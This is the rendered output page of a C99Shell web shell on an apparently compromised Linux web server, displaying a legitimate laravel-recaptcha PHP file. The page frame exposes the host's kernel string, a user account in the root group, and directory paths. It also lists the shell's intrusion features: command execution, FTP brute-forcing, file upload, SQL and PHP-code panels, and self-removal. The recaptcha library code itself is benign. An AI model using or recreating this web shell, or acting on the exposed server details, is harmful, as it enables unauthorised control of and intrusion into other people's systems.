!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/wataxi.picotech.app/public_html/vendor/biscolab/laravel-recaptcha/src/   drwxr-xr-x
Free 28.33 GB of 117.98 GB (24.01%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     ReCaptchaBuilderV3.php (3.44 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/**
 * Copyright (c) 2017 - present
 * LaravelGoogleRecaptcha - ReCaptchaBuilderV3.php
 * author: Roberto Belotti - roby.belotti@gmail.com
 * web : robertobelotti.com, github.com/biscolab
 * Initial version created on: 22/1/2019
 * MIT license: https://github.com/biscolab/laravel-recaptcha/blob/master/LICENSE
 */

namespace Biscolab\ReCaptcha;

use 
Illuminate\Support\Arr;

/**
 * Class ReCaptchaBuilderV3
 * @package Biscolab\ReCaptcha
 */
class ReCaptchaBuilderV3 extends ReCaptchaBuilder
{

    
/**
     * ReCaptchaBuilderV3 constructor.
     *
     * @param string $api_site_key
     * @param string $api_secret_key
     */
    
public function __construct(string $api_site_keystring $api_secret_key)
    {

        
parent::__construct($api_site_key$api_secret_key'v3');
    }

    public function 
getTokenParameterName(): string
    
{
        return 
config(
            
'recaptcha.default_token_parameter_name',
            
'token'
        
);
    }

    public function 
getValidationUrl(): string
    
{
        return 
url(config(
            
'recaptcha.default_validation_route',
            
'biscolab-recaptcha/validate'
        
));
    }

    public function 
getValidationUrlWithToken(): string
    
{
        return 
implode(
            
"?",
            [
                
$this->getValidationUrl(),
                
$this->getTokenParameterName()
            ]
        );
    }

    
/**
     * Write script HTML tag in you HTML code
     * Insert before </head> tag
     *
     * @param array|null $configuration
     *
     * @return string
     */
    
public function htmlScriptTagJsApi(?array $configuration = []): string
    
{

        if (
$this->skip_by_ip) {
            return 
'';
        }

        
$html "<script src=\"" $this->api_js_url "?render={$this->api_site_key}\"></script>";

        
$action Arr::get($configuration'action''homepage');

        
$js_custom_validation Arr::get($configuration'custom_validation''');

        
// Check if set custom_validation. That function will override default fetch validation function
        
if ($js_custom_validation) {

            
$validate_function = ($js_custom_validation) ? "{$js_custom_validation}(token);" '';
        } else {

            
$js_then_callback Arr::get($configuration'callback_then''');
            
$js_callback_catch Arr::get($configuration'callback_catch''');

            
$js_then_callback = ($js_then_callback) ? "{$js_then_callback}(response)" '';
            
$js_callback_catch = ($js_callback_catch) ? "{$js_callback_catch}(err)" '';

            
$validate_function "
                fetch('" 
$this->getValidationUrlWithToken() . "=' + token, {
                    headers: {
                        \"X-Requested-With\": \"XMLHttpRequest\",
                        \"X-CSRF-TOKEN\": csrfToken.content
                    }
                })
                .then(function(response) {
                       
{$js_then_callback}
                })
                .catch(function(err) {
                    
{$js_callback_catch}
                });"
;
        }

        
$html .= "<script>
                    var csrfToken = document.head.querySelector('meta[name=\"csrf-token\"]');
                  grecaptcha.ready(function() {
                      grecaptcha.execute('
{$this->api_site_key}', {action: '{$action}'}).then(function(token) {
                        
{$validate_function}
                      });
                  });
             </script>"
;

        return 
$html;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0033 ]--